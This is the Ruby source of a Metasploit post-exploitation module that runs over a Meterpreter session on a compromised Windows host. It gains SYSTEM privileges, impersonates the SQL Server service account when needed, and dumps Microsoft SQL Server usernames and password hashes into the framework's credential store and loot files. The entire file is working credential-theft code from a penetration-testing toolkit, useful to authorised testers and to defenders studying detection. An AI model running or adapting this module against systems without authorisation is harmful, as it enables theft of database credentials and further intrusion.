modules/post/windows/gather/credentials/mssql_local_hashdump.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{
This module extracts the usernames and password
hashes from an MSSQL server and stores them as loot. It uses the
same technique in mssql_local_auth_bypass.
},
'License' => MSF_LICENSE,
'Author' => [
'Mike Manzotti <mike.manzotti[at]dionach.com>',
'nullbind' # Original technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_rev2self
]
}
}
)
)
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
]
)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status('Attempting to get version...')
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error('MSSQL version not found')
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when '2000'
hash_type = 'mssql'
query = mssql_2k_password_hashes
when '2005', '2008'
hash_type = 'mssql05'
query = mssql_2k5_password_hashes
when '2012', '2014'
hash_type = 'mssql12'
query = mssql_2k5_password_hashes
else
fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')
end
print_status('Attempting to get password hashes...')
res = run_sql(query, instance_name)
if res.include?('0x')
# Parse Data
if hash_type == 'mssql12'
res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|
pair.hex.chr
end
end
hash_array = res.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Failure::Unknown, 'Unable to retrieve hashes')
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ''
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
if loot_hashes.empty?
return false
else
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}")
return true
end
end
end